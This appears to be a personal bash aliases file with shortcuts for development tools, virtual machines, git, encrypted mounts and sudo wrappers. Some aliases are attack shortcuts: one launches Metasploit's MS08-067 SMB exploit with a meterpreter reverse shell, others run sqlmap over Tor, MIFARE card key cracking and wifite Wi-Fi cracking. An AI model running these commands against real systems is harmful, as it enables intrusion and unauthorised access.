You can not select more than 25 topics Topics must start with a letter or number, can include dashes ('-') and can be up to 35 characters long.

bash_aliases 4.2KB

123456789101112131415161718192021222324252627282930313233343536373839404142434445464748495051525354555657585960616263646566676869707172737475767778798081828384858687888990919293949596979899100
  1. alias alert='notify-send --urgency=low -i "$([ $? = 0 ] && echo terminal || echo error)" "$(history|tail -n1|sed -e '\''s/^\s*[0-9]\+\s*//;s/[;&|]\s*alert$//'\'')"'
  2. alias cls="clear"
  3. alias nano="nano -K"
  4. alias l="/bin/ls --color"
  5. alias ll="/bin/ls --color -l"
  6. alias lla="/bin/ls --color -l -a"
  7. alias la="/bin/ls -a --color"
  8. alias reload="source ~/.bashrc"
  9. alias wakeserv4="wakeonlan -i 192.168.1.255 00:0f:fe:88:94:da"
  10. alias shutserv4="ssh serv4 shutdown -hP 0"
  11. alias status="git status"
  12. alias py="ipython3"
  13. alias bashrc="vim ~/.bashrc; reload"
  14. alias bashaliases="vim ~/.bash_aliases; reload"
  15. alias ddstatusc="while :; do ddstatus; sleep 2; done"
  16. alias arpe="arp-scan -I eth0"
  17. alias arpw="arp-scan -I wlan0"
  18. alias vpnint="service openvpn restart gigi-vpn-internet"
  19. alias vpnintstop="service openvpn stop gigi-vpn-internet"
  20. alias youtube-mp3="youtube-dl --extract-audio --audio-format mp3"
  21. alias pull="git pull --rebase"
  22. alias st="git status"
  23. alias u=up
  24. alias p="ping 8.8.8.8"
  25. alias telnet='telnet -e ^['
  26. alias reboot-win="grub-reboot 2 && reboot"
  27. alias necessitas="~/tools/Qt5.5.0/Tools/QtCreator/bin/qtcreator"
  28. alias studio="~/tools/android-studio-latest/bin/studio.sh"
  29. alias sqlmap="~/tools/sqlmap-dev/sqlmap.py --proxy=socks5://127.0.0.1:9050 --check-tor --random-agent"
  30. alias clion="~/tools/clion-latest/bin/clion.sh"
  31. alias datagrip="~/tools/datagrip-latest/bin/datagrip.sh"
  32. alias idea="~/tools/idea-latest/bin/idea.sh"
  33. alias phpstorm="~/tools/phpstorm-latest/bin/phpstorm.sh"
  34. alias rider="~/tools/rider-latest/bin/rider.sh"
  35. alias ms4="mount /media/serv4/downloads && cd /media/serv4/downloads"
  36. alias ums4="cd && umount /media/serv4/downloads"
  37. alias mfc="time mfcuk -C -s 250 -S 250 -v 4 -R"
  38. alias mfo="time mfoc"
  39. alias git-release="git checkout master && git rebase develop && git p && git checkout develop"
  40. alias arduino="~/tools/arduino-1.6.5-r5/arduino"
  41. alias arduino1.0="~/tools/arduino-1.0.6/arduino"
  42. alias genymotion="~/tools/genymotion/genymotion"
  43. alias windows="virtualbox --startvm Windows7"
  44. alias vm01="virtualbox --startvm vm01.vpn.rthoni.com"
  45. alias vm02="virtualbox --startvm vm02.vpn.rthoni.com"
  46. alias gdo="sudo -u gogs"
  47. alias gdo-pull="gdo git pull -r"
  48. alias update-confs="cd ~/confs && git pull -r && reload"
  49. alias pycharm="~/tools/pycharm-latest/bin/pycharm.sh"
  50. alias xcopy="xclip -selection clipboard"
  51. alias ns=nst
  52. alias hackxp="msfconsole -x 'use exploit/windows/smb/ms08_067_netapi; set payload windows/meterpreter/reverse_tcp; echo set LHOST my_ip; echo set RHOST target_ip'"
  53. alias signal="google-chrome --profile-directory=Default --app-id=bikioccmkafdpakkkcpdbppfkghcmihk"
  54. alias slog="tail -f /var/log/syslog"
  55. alias devsd="ls /dev | grep sd"
  56. alias catlease="cat \$(ps aux | grep dhclient | grep -oE '\-lf [^ ]+' | cut -d' ' -f2)"
  57. alias prv-mount="cryptsetup luksOpen ~/keep/private_data private_data && mount /dev/mapper/private_data /media/private_data && cd /media/private_data"
  58. alias prv-umount="umount /media/private_data && cryptsetup luksClose private_data"
  59. alias ssh-socks="ssh -N -D 127.0.0.1:9050"
  60. alias dc="docker-compose"
  61. if [ "${EUID}" -ne 0 ]
  62. then
  63. alias modprobe="sudo modprobe"
  64. alias dd="sudo dd"
  65. alias reboot="sudo reboot"
  66. alias cryptsetup="sudo cryptsetup"
  67. alias arp-scan="sudo arp-scan"
  68. alias service="sudo service"
  69. alias ifconfig="sudo ifconfig"
  70. alias ip="sudo ip"
  71. alias route="sudo route"
  72. alias killall="sudo killall"
  73. alias mount="sudo mount"
  74. alias umount="sudo umount"
  75. alias apt-get="sudo apt-get"
  76. alias apt-cache="sudo apt-cache"
  77. alias update-rc.d="sudo update-rc.d"
  78. alias gparted="sudo gparted"
  79. alias gateway_nat="sudo gateway_nat"
  80. alias svim="sudo vim"
  81. alias shut="sudo shutdown -h 0"
  82. alias nst="sudo netstat -ntpa | grep LISTEN"
  83. alias nsu="sudo netstat -nupa"
  84. alias ddstatus="sudo pkill --signal USR1 \"^dd$\""
  85. alias ap="rfkill unblock wifi && sudo ap"
  86. alias 3d="sudo /etc/3DxWare/daemon/3dxsrv -d usb"
  87. alias wifite="sudo wifite -wept 10000 -wpst 10000 -wpat 10000 -mac -showb"
  88. else
  89. alias svim="vim"
  90. alias shut="shutdown -h 0"
  91. alias nst="netstat -ntpa | grep LISTEN"
  92. alias nsu="netstat -nupa"
  93. alias ddstatus="pkill --signal USR1 \"^dd$\""
  94. alias ap="rfkill unblock wifi && ap"
  95. alias 3d="/etc/3DxWare/daemon/3dxsrv -d usb"
  96. alias wifite="wifite -wept 10000 -wpst 10000 -wpat 10000 -mac -showb"
  97. fi